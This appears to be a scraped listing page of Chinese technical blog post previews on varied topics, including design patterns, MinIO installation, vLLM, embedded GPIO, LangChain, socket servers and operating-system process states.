模板 <div class"content"><div class"item">1222</div><div class"item">1222</div><div class"item">1222</div><div class"item">1222</div><div class"…...
(五)趣学设计模式 之 建造者模式!
目录 一、 啥是建造者模式?二、 为什么要用建造者模式?三、 建造者模式怎么实现?四、 建造者模式的应用场景五、 建造者模式的优点和缺点六、 总结 🌟我的其他文章也讲解的比较有趣😁,如果喜欢博主的讲解方…...
【CentOS7】安装MinIO
下载rpm包 wget https://dl.min.io/server/minio/release/linux-amd64/archive/minio-20230809233022.0.0.x86_64.rpm 安装 rpm -ivh minio-20230809233022.0.0.x86_64.rpm 运行 server 后面跟着的使minio 的数据目录;console-address 后面跟着的是minio 的管理…...
vLLM学习1
调用方式 一、vLLM 提供的两种调用方式 1. Offline Batched Inference(离线批处理) 调用特点:一次性传入一批(batch)的请求,等待所有请求都处理完毕后,一次性返回推理结果。对用户而言&#x…...
ABC 385
目录 C. Illuminate Buildings D. Santa Claus E. Snowflake Tree C. Illuminate Buildings dp[ i ][ j ]:选择的 i 个建筑,间隔为 j。这样只需要两层循环就可以了,o(n^2) 其实本质只是个一维 dp,但我还需…...
綫性與非綫性泛函分析與應用_1.例題(下)-半母本
第1章 實分析與函數論:快速回顧(下) 五、基數;有限集和無限集相關例題 例題1:集合基數的判斷 判斷集合和集合B=\{a,b,c,d,e\}的基數關係。 解析: 可以構造一個雙射,例如,,,,。 所以,兩個集合具有相同的基數。 例題2:可數集的證明 證明整數集是可數集。 解析: …...
49 set与map的模拟实现
目录 一、源码及框架分析 二、模拟实现map和set (一)复用红黑树的框架,并支持insert (二)支持迭代器的实现 (三)map支持 [ ] (四)整体代码实现 一、源码及框架分析…...
鸿蒙NEXT应用App测试-通用测试
注意:大家记得学完通用测试记得再学鸿蒙专项测试 https://blog.csdn.net/weixin_51166786/article/details/145768653 注意:博主有个鸿蒙专栏,里面从上到下有关于鸿蒙next的教学文档,大家感兴趣可以学习下 如果大家觉得博主文章…...
LangChain 技术入门指南:探索语言模型的无限可能
在当今的技术领域,LangChain 正逐渐崭露头角,成为开发语言模型应用的强大工具。如果你渴望深入了解并掌握这一技术,那么就跟随本文一起开启 LangChain 的入门之旅吧! (后续将持续输出关于LangChain的技术文章,有兴趣的同学可以关注…...
UE5销毁Actor,移动Actor,简单的空气墙的制作
1.销毁Actor 1.Actor中存在Destory()函数和Destoryed()函数 Destory()函数是成员函数,它会立即标记 Actor 为销毁状态,并且会从场景中移除该 Actor。它会触发生命周期中的销毁过程,调用 Destroy() 后,Actor 立即进入销毁过程。具体…...
STM32基础篇(二)------GPIO
GPIO简介 GPIO(General Purpose Input Output)通用输入输出口 可配置为8种输入输出模式 引脚电平:0V~3.3V,部分引脚可容忍5V 输出模式下可控制端口输出高低电平,用以驱动LED、控制蜂鸣器、模拟通信协议输出时序等 输入…...
亲测Win11电脑可以安装LabVIEW的版本,及2015、2018、2020版本直接的区别
下面是我电脑的信息 设备名称 DESKTOP-04HHS8S 处理器 13th Gen Intel(R) Core(TM) i5-13500H 2.60 GHz 机带 RAM 16.0 GB (15.7 GB 可用) 设备 ID 82798104-C565-4167-A21E-5EB5DEFAA541 产品 ID 00331-20300-00000-AA678 系统类型 64 位操作系统, 基于 …...
Idea2024中搭建JavaFX开发环境并创建运行项目
Idea2024中搭建JavaFX开发环境并创建运行项目 本文以Java语言为例演示如何创建JavaFX开发项目和部署开发环境,读者可以根据个人实际灵活选择相关参数。 一、项目创建与环境搭建步骤 新建JavaFX项目,选择适合项目实际的语言、系统和JDK。 项目设置-设置…...
认知重构 | 自我分化 | 苏格拉底式提问
注:本文为 “认知重构 | 自我分化” 相关文章合辑。 心理学上有一个词叫:认知重构(改变 “非黑即白,一分为二” 的思维方式) 原创 心理师威叔 心理自救 2024 年 10 月 26 日 19:08 广东 你有没有过这样的时候&#x…...
MFC开发:如何创建第一个MFC应用程序
文章目录 一、概述二、MFC 的主要组件三、创建一个MFC窗口四、控件绑定消息函数 一、概述 MFC 是微软提供的一个 C 类库,用于简化 Windows 应用程序的开发。它封装了 Windows API,提供面向对象的接口,帮助开发者更高效地创建图形用户界面&am…...
nodejs:vue 3 + vite 作为前端,将 html 填入<iframe>,在线查询英汉词典
向 doubao.com/chat/ 提问: node.js js-mdict 作为后端,vue 3 vite 作为前端,编写在线查询英汉词典 后端部分(express js-mdict ) 详见上一篇:nodejs:express js-mdict 作为后端ÿ…...
基于 Python Django 的校园互助平台(附源码,文档)
博主介绍:✌Java徐师兄、7年大厂程序员经历。全网粉丝13w、csdn博客专家、掘金/华为云等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇🏻 不…...
玩转 Java 与 Python 交互,JEP 库来助力
文章目录 玩转 Java 与 Python 交互,JEP 库来助力一、背景介绍二、JEP 库是什么?三、如何安装 JEP 库?四、JEP 库的简单使用方法五、JEP 库的实际应用场景场景 1:数据处理场景 2:机器学习场景 3:科学计算场…...
【Linux】基于UDP/TCP服务器与客户端的实现
目录 一、UDP (一)Server.hpp (二)Server.cpp (三)Client.hpp (四)Client.cpp (五)User.hpp 二、TCP (一)多进程版本的服务器与…...
Unity for Python —— 强大的 Python 脚本支持提升 Unity 编辑器效率
内容将会持续更新,有错误的地方欢迎指正,谢谢! Unity for Python —— 强大的 Python 脚本支持提升 Unity 编辑器效率 TechX 坚持将创新的科技带给世界! 拥有更好的学习体验 —— 不断努力,不断进步,不断探索 Tec…...
【Dubbo+Zookeeper】——SpringBoot+Dubbo+Zookeeper知识整合
🎼个人主页:【Y小夜】 😎作者简介:一位双非学校的大二学生,编程爱好者, 专注于基础和实战分享,欢迎私信咨询! 🎆入门专栏:🎇【MySQL࿰…...
家用路由器的WAN口和LAN口有什么区别
今时今日,移动终端盛行的时代,WIFI可以说是家家户户都有使用到的网络接入方式。那么路由器当然也就是家家户户都不可或缺的设备了。而路由器上的两个实现网络连接的基础接口 ——WAN 口和 LAN 口,到底有什么区别?它们的功能和作用…...
Python--函数入门
1. 函数基础概念 1.1 什么是函数 定义:函数是一段可重复调用的代码块,用于封装特定功能。 核心作用: 代码重用:减少重复代码的编写。增强可读性:通过命名和模块化让代码逻辑更清晰。 1.2 函数的定义与调用 def 函…...
EasyRTC低延迟通信与智能处理:论嵌入式WebRTC与AI大模型的技术融合
在当今数字化时代,实时通信的需求日益增长,视频通话作为一种高效、直观的沟通方式,广泛应用于各个领域。WebRTC技术的出现,为实现浏览器之间的实时音视频通信提供了便捷的解决方案。而基于WebRTC技术的EasyRTC视频通话SDK…...
《操作系统 - 清华大学》 8 -6:进程管理:进程状态变化模型
进程状态及其转换全解析 在操作系统中,进程有着特定的生命周期和多种状态变化。不考虑进程结束时,进程主要有三个基本状态。 运行态:即进程正在占用CPU执行任务。总结:运行态表示进程当前正在使用CPU。就绪状态:进程…...